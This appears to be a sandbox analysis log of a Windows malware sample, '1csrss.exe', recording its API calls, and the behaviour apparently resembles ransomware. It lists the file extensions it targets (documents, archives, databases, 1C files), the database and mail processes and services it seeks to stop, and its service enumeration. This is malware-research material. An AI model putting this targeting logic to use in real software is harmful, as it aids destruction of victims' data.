# Flog Txt Version 1 # Analyzer Version: 3.0.1 # Analyzer Build Date: Apr 9 2019 11:17:16 # Log Creation Date: 12.04.2019 23:20:54.621 Process: id = "1" image_name = "1csrss.exe" filename = "c:\\users\\fd1hvy\\desktop\\1csrss.exe" page_root = "0x637a9000" os_pid = "0xff4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\1csrss.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x390 [0089.072] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleW") returned 0x75ea50d0 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileW") returned 0x75ede500 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileSizeEx") returned 0x75efef40 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileAttributesW") returned 0x75efef10 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameW") returned 0x75ed32c0 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameA") returned 0x75ed3780 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexW") returned 0x75efeb70 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenW") returned 0x75ea6c70 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenA") returned 0x75ea6c50 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcess") returned 0x75efea10 [0089.073] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObject") returned 0x75efeca0 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="GetLogicalDrives") returned 0x75ea0d20 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteFileW") returned 0x75efed40 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75efebb0 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexW") returned 0x75efebf0 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForMultipleObjects") returned 0x75efec80 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiW") returned 0x75ea6bf0 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiA") returned 0x75ea6bd0 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseMutex") returned 0x75efec20 [0089.074] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersion") returned 0x75ea56c0 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="ExpandEnvironmentStringsW") returned 0x75ea4a40 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceFrequency") returned 0x75ea5dc0 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessId") returned 0x75efea20 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="GetVolumeInformationW") returned 0x75eff020 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointerEx") returned 0x75eff130 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="SetEndOfFile") returned 0x75eff0e0 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcessHeap") returned 0x75ea51f0 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="HeapReAlloc") returned 0x77bef630 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="HeapAlloc") returned 0x77bf2dc0 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="HeapFree") returned 0x75ea57f0 [0089.075] GetProcAddress (hModule=0x75e90000, lpProcName="CreatePipe") returned 0x75ea4590 [0089.076] GetProcAddress (hModule=0x75e90000, lpProcName="SetHandleInformation") returned 0x75efeae0 [0089.076] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610 [0089.076] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringW") returned 0x75ea4430 [0089.076] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringA") returned 0x75ea4410 [0089.076] GetProcAddress (hModule=0x75e90000, lpProcName="OpenProcess") returned 0x75ea5cc0 [0089.076] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0 [0089.076] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTime") returned 0x75ea54e0 [0089.076] GetProcAddress (hModule=0x75e90000, lpProcName="SystemTimeToFileTime") returned 0x75ea67a0 [0089.076] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0089.076] GetProcAddress (hModule=0x75e90000, lpProcName="CreateToolhelp32Snapshot") returned 0x75ededc0 [0089.076] GetProcAddress (hModule=0x75e90000, lpProcName="Process32NextW") returned 0x75edf8f0 [0089.076] GetProcAddress (hModule=0x75e90000, lpProcName="Process32FirstW") returned 0x75edf750 [0089.076] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0091.107] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExW") returned 0x761ce580 [0091.107] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExW") returned 0x761ce5a0 [0091.108] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExW") returned 0x761cf530 [0091.108] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0091.108] GetProcAddress (hModule=0x761b0000, lpProcName="OpenProcessToken") returned 0x761cefb0 [0091.108] GetProcAddress (hModule=0x761b0000, lpProcName="GetTokenInformation") returned 0x761cee90 [0091.108] GetProcAddress (hModule=0x761b0000, lpProcName="OpenSCManagerW") returned 0x761d0540 [0091.108] GetProcAddress (hModule=0x761b0000, lpProcName="OpenServiceW") returned 0x761cfa20 [0091.108] GetProcAddress (hModule=0x761b0000, lpProcName="CloseServiceHandle") returned 0x761cfc00 [0091.108] GetProcAddress (hModule=0x761b0000, lpProcName="ControlService") returned 0x761e26d0 [0091.108] GetProcAddress (hModule=0x761b0000, lpProcName="QueryServiceStatus") returned 0x761d2380 [0091.108] GetProcAddress (hModule=0x761b0000, lpProcName="EnumDependentServicesW") returned 0x761e2f70 [0091.108] GetProcAddress (hModule=0x761b0000, lpProcName="EnumServicesStatusExW") returned 0x761cfc80 [0091.108] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0093.851] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210 [0093.851] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76480000 [0099.531] GetProcAddress (hModule=0x76480000, lpProcName="ShellExecuteExW") returned 0x765e4730 [0099.531] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77bb0000 [0099.531] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0099.532] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74500000 [0099.676] GetProcAddress (hModule=0x74500000, lpProcName="WNetCloseEnum") returned 0x74502640 [0099.676] GetProcAddress (hModule=0x74500000, lpProcName="WNetOpenEnumW") returned 0x74502790 [0099.676] GetProcAddress (hModule=0x74500000, lpProcName="WNetEnumResourceW") returned 0x74502410 [0099.676] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x746a0000 [0099.914] GetProcAddress (hModule=0x746a0000, lpProcName="WSAStartup") returned 0x746a5b40 [0099.914] GetProcAddress (hModule=0x746a0000, lpProcName="socket") returned 0x746b4510 [0099.914] GetProcAddress (hModule=0x746a0000, lpProcName="send") returned 0x746a5030 [0099.915] GetProcAddress (hModule=0x746a0000, lpProcName="recv") returned 0x746b0c50 [0099.915] GetProcAddress (hModule=0x746a0000, lpProcName="connect") returned 0x746a5410 [0099.915] GetProcAddress (hModule=0x746a0000, lpProcName="closesocket") returned 0x746b0910 [0099.915] GetProcAddress (hModule=0x746a0000, lpProcName="gethostbyname") returned 0x746d6cb0 [0099.915] GetProcAddress (hModule=0x746a0000, lpProcName="inet_addr") returned 0x746b9160 [0099.915] GetProcAddress (hModule=0x746a0000, lpProcName="ntohl") returned 0x746a49d0 [0099.915] GetProcAddress (hModule=0x746a0000, lpProcName="htonl") returned 0x746a49d0 [0099.915] GetProcAddress (hModule=0x746a0000, lpProcName="htons") returned 0x746b8ff0 [0099.915] GetProcessHeap () returned 0x5b0000 [0099.915] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5bae28 [0099.915] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=13994319218) returned 1 [0099.915] GetTickCount () returned 0x22282 [0099.915] GetCurrentProcessId () returned 0xff4 [0099.916] GetTickCount () returned 0x22282 [0099.917] GetTickCount () returned 0x22282 [0099.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5baea0 [0099.917] GetVersion () returned 0x23f00206 [0099.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x7) returned 0x5c6e10 [0099.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5c7590 [0099.917] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c7590, Size=0x20) returned 0x5baec8 [0099.917] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5baec8, Size=0x40) returned 0x5ca618 [0099.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x5ce760 [0099.917] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_AEDV8MA") returned 0x0 [0099.917] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_AEDV8MA") returned 0x1ec [0099.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c6e10 | out: hHeap=0x5b0000) returned 1 [0099.918] lstrlenW (lpString="Global\\syncronize_") returned 18 [0099.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ca618 | out: hHeap=0x5b0000) returned 1 [0099.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x7) returned 0x5c6d00 [0099.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5c76c8 [0099.918] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c76c8, Size=0x20) returned 0x5baec8 [0099.918] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5baec8, Size=0x40) returned 0x5ca660 [0099.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x5de768 [0099.918] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_AEDV8MU") returned 0x0 [0099.918] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_AEDV8MU") returned 0x1f0 [0099.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c6d00 | out: hHeap=0x5b0000) returned 1 [0099.918] lstrlenW (lpString="Global\\syncronize_") returned 18 [0099.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ca660 | out: hHeap=0x5b0000) returned 1 [0099.918] GetVersion () returned 0x23f00206 [0099.918] GetCurrentProcess () returned 0xffffffff [0099.918] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0099.918] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0099.918] CloseHandle (hObject=0x1f4) returned 1 [0099.919] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0099.919] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5c5430 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5c7590 [0099.919] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c7590, Size=0x20) returned 0x5baec8 [0099.919] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5baec8, Size=0x40) returned 0x5ca540 [0099.919] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca540, Size=0x80) returned 0x5c23b8 [0099.919] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c23b8, Size=0x100) returned 0x5c7358 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x5c96d8 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c6e50 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c6e00 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c6e70 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5c7590 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c6d00 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c76f8 [0099.919] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c6d00, Size=0x8) returned 0x5c6e80 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5c75a8 [0099.919] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c6e80, Size=0x10) returned 0x5c76e0 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c75c0 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c75d8 [0099.919] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c76e0, Size=0x20) returned 0x5baec8 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5c7638 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c7668 [0099.919] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c6e50, Size=0x8) returned 0x5c6e10 [0099.919] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c6e00, Size=0x8) returned 0x5c6e80 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c6e50 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5c76c8 [0099.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c6d00 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c76e0 [0099.920] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c6d00, Size=0x8) returned 0x5c6d10 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c7800 [0099.920] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c6d10, Size=0x10) returned 0x5c7818 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c7830 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c6e00 [0099.920] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c7818, Size=0x20) returned 0x5ee7a0 [0099.920] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c6e10, Size=0x10) returned 0x5c77b8 [0099.920] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c6e80, Size=0x10) returned 0x5c77d0 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c6d10 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5c7848 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c6e10 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c7860 [0099.920] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c6e10, Size=0x8) returned 0x5c6e30 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c6e80 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5c7878 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c6d00 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c77e8 [0099.920] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c6d00, Size=0x8) returned 0x5c6e10 [0099.920] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c77b8, Size=0x20) returned 0x5eea48 [0099.920] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c77d0, Size=0x20) returned 0x5ee840 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5c6d00 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5c77b8 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5c6e90 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x5c77d0 [0099.920] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c6e90, Size=0x8) returned 0x5c6d50 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5c54d0 [0099.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5c50f0 [0099.920] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0099.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7358 | out: hHeap=0x5b0000) returned 1 [0099.920] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0099.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5c7818 [0099.924] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c7818, Size=0x20) returned 0x5ee9a8 [0099.924] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ee9a8, Size=0x40) returned 0x5ca2b8 [0099.924] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca2b8, Size=0x80) returned 0x5c7d68 [0099.924] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c7d68, Size=0x100) returned 0x5c7358 [0099.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5c7818 [0099.924] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c7818, Size=0x20) returned 0x5eeb88 [0099.924] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5eeb88, Size=0x40) returned 0x5ca5d0 [0099.924] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5ca5d0, Size=0x80) returned 0x5f4c00 [0099.924] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f4c00, Size=0x100) returned 0x5f5030 [0099.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5c7818 [0099.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5f33c0 [0099.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5f5408 [0099.924] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f33c0, Size=0x8) returned 0x5f34d0 [0099.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5c5110 [0099.925] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f34d0, Size=0x10) returned 0x5f52b8 [0099.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5c5130 [0099.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1a) returned 0x5eec28 [0099.925] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f52b8, Size=0x20) returned 0x5ee9f8 [0099.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5eeb10 [0099.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x16) returned 0x5c52d0 [0099.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1a) returned 0x5eeb38 [0099.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x5f5180 [0099.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5f33c0 [0099.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c9fa0 [0099.925] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f33c0, Size=0x8) returned 0x5f3420 [0099.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3c) returned 0x5c9fe8 [0099.925] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f3420, Size=0x10) returned 0x5f5270 [0099.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5c5150 [0099.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5c5170 [0099.925] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5f5270, Size=0x20) returned 0x5ee7c8 [0099.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x5c61c8 [0099.925] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0099.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7358 | out: hHeap=0x5b0000) returned 1 [0099.925] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0099.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5f5030 | out: hHeap=0x5b0000) returned 1 [0099.925] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eec00 [0099.930] EnumServicesStatusExW (in: hSCManager=0x5eec00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0099.931] GetLastError () returned 0xea [0099.931] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1cd6) returned 0x5f7728 [0099.931] EnumServicesStatusExW (in: hSCManager=0x5eec00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5f7728, cbBufSize=0x1cd6, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5f7728, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0099.932] CloseServiceHandle (hSCObject=0x5eec00) returned 1 [0099.932] lstrlenW (lpString="Appinfo") returned 7 [0099.933] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0099.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0099.935] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0099.935] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0099.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0099.935] lstrlenW (lpString="AppXSvc") returned 7 [0099.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0099.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0099.935] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0099.935] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0099.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0099.935] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0099.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0099.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0099.935] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0099.935] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0099.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0099.936] lstrlenW (lpString="Audiosrv") returned 8 [0099.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0099.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0099.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0099.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0099.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 